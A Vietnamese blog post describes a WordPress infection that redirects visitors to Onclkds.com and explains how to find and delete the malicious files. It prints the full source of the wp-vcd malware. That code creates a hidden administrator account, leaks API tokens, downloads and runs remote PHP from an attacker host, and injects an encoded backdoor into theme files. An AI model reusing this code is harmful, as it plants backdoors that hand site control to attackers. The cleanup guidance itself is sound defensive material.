Trang WordPress của bạn tự chuyển hướng đến Onclkds.com? Hãy sửa nó ngay

0
3241
(Last Updated On: Th10 2, 2017)

Chào các bạn, một thời gian trước đây khi mình lập trang VnGeek này. Lúc đó chỉ có mỗi tiền mua tên miền mà không có tiền để mua hosting nên mới tìm đến mấy dịch vụ lưu trữ miễn phí rồi đăng ký và để site mình lên đó. Sau một thời gian sử dụng thì một phần có lẽ do mình cài quá nhiều Plugin (mày mò tìm tòi) rồi cả những Theme vào trang. Một phần không biết do bảo mật của hosting miễn phí hay không (máy chủ dùng cPanel và rất nhiều người cùng sử dụng) mà site của mình bị chèn mã độc. Mỗi lần khi nhấp vào một đường link nào đấy trong nội dung trên trang là bị chuyển hướng đến Onclkds.com.

Mới đầu mình nghĩ là do trình duyệt của mình có nhiều Extension quá. Hay là bị nhiễm malware nào đó. Nhưng sau khi quét toàn bộ hệ thống, đặt lại cả trình duyệt mà vẫn bị. Các trang khác không bị nhưng trang web của mình lại bị cho nên mình chắc chắn là do mã nguồn web mình bị chèn mã độc thôi.

2017-10-02_002540_1

Nếu như trang WordPress của bạn cũng bị giống như vậy thì khắc phục như sau:

Các bạn tìm file: /wp-includes/post.php

Mở ra xem có bị chèn đoạn mã như dưới đây hay không?

<?php if (file_exists(dirname(__FILE__) . ‘/wp-vcd.php’)) include_once(dirname(__FILE__) . ‘/wp-vcd.php’); ?>

Như mình thì không thấy:

2017-10-02_003330_2

Nhưng chưa xong đâu, một số trường hợp bị chèn vào file functions.php có trong Themes của bạn.

Nó nằm ở /wp-content/themes/Theme_của_bạn/functions.php

May mắn là mình không bị chỉnh sửa những file này.

2017-10-02_003803_3

Nhưng các bạn đừng vội nhé, chưa xong đâu, bước quan trọng này, các bạn kiểm tra xem có các file dưới đây không? Nếu có thì xóa nó đi:

  • /wp-includes/class.wp.php
  • /wp-includes/wp-vcd.php

Mình bị dính 2 file ở trên luôn:

2017-10-02_005539_4
Cả 2 file này bạn cần phải xóa chúng đi.

Đây là nội dung file /wp-includes/class.wp.php

<?php
error_reporting(0);

if( !isset($_GET['go']) )
{

require $_SERVER['DOCUMENT_ROOT'].'/wp-load.php';
$table_name = $wpdb->get_blog_prefix();
$sample = 'a:1:{s:13:"administrator";b:1;}';
if( isset($_GET['ok']) ) { echo '<!-- Silence is golden. -->';}
if( isset($_GET['awu']) ) {
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (100010010, '100010010', '{$table_name}capabilities', '{$sample}');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '100010010', '{$table_name}user_level', '10');"); }
if( isset($_GET['dwu']) ) { $wpdb->query("DELETE FROM $wpdb->users WHERE `ID` = 100010010");
$wpdb->query("DELETE FROM $wpdb->usermeta WHERE $wpdb->usermeta.`umeta_id` = 100010010");}
if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
  echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }

  }

  if( isset($_GET['go']) )
{

if ( ! function_exists( 'wp_temp_setupx' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];

if($tmpcontentx = @file_get_contents("http://www.dolsh.com/codexc.txt"))
{


function wp_temp_setupx($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(wp_temp_setupx($tmpcontentx));
}
}

  }

?>r

Như những dòng code trên, các bạn có thể thấy một người nào đó có thể sẽ thêm hoặc xóa một user nào đó vào cơ sở dữ liệu (database) của các bạn. Rồi từ đó sẽ có quyền truy cập vào trang quản trị wp-admin. Điều này quả thật rất nguy hiểm.

Còn đây là nội dung file /wp-includes/wp-vcd.php

<?php
error_reporting(0);
ini_set('display_errors', 0);

        $install_code = '/* PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTZcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3N3cHNfc3RlbXBzX3NzZXR1cHMnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoICEgaXNfNDA0KCkgJiYgc3RyaXBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ3dwLWNyb24ucGhwJykgPT0gZmFsc2UgJiYgc3RyaXBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ3htbHJwYy5waHAnKSA9PSBmYWxzZSkgew0KDQppZigkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5kb2xzaC5jb20vY29kZTYucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gc3dwc19zdGVtcHNfc3NldHVwcygkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAic3dwc19zdGVtcHNfc3NldHVwcyIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3Qoc3dwc19zdGVtcHNfc3NldHVwcygkdG1wY29udGVudCkpOw0KfQ0KfQ0KfQ0KDQoNCg0KPz4 */=';

        $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
        $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));


                        $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';

                        $ping = true;
                                $ping2 = false;
                        if ($list = scandir( $themes ))
                                {
                                        foreach ($list as $_)
                                                {

                                                        if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                                                {
                                                                        $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

                                                                        if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                                                                {
                                                                                        if (strpos($content, 'WP_V_CD') === false)
                                                                                                {
                                                                                                        $content = $install_code . $content ;
                                                                                                        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                                                                        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                                                                }
                                                                                        else
                                                                                                {
                                                                                                        $ping = false;
                                                                                                }
                                                                                }

                                                                }


                                                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                                         foreach ($list2 as $_2)
                                                                                {


                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                                                      {
                                                                        $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');

                                                                        if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                                                {
                                                                                        if (strpos($content, 'WP_V_CD') === false)
                                                                                                {
                                                                                                        $content = $install_code . $content ;
                                                                                                        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                                                                        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                                                                        $ping2 = true;
                                                                                                }
                                                                                        else
                                                                                                {
                                                                                                        //$ping = false;
                                                                                                }
                                                                                }

                                                                }



                                                                                  }

                                                            }






                                                }

                                        if ($ping) {
                                                $content = @file_get_contents('http://www.dolsh.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                                                @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.dolsh.com/admin.txt'));
                                        }

                                                                                                                        if ($ping2) {
                                                $content = @file_get_contents('http://www.dolsh.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                                                @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.dolsh.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
                                        }



                                }





?><?php error_reporting(0);?>

Bạn còn chần chừ gì nữa mà không xóa chúng đi đúng không?

Một bước nữa (có càng tốt, không bắt buộc), bạn đăng nhập vào wp-admin, sau đó update mã nguồn mới nhất hoặc cài đặt lại phiên bản hiện tại WordPress của trang web bạn.

Quay lại kiểm tra xem các bạn nhé. Chúc các bạn thành công.

Bình luận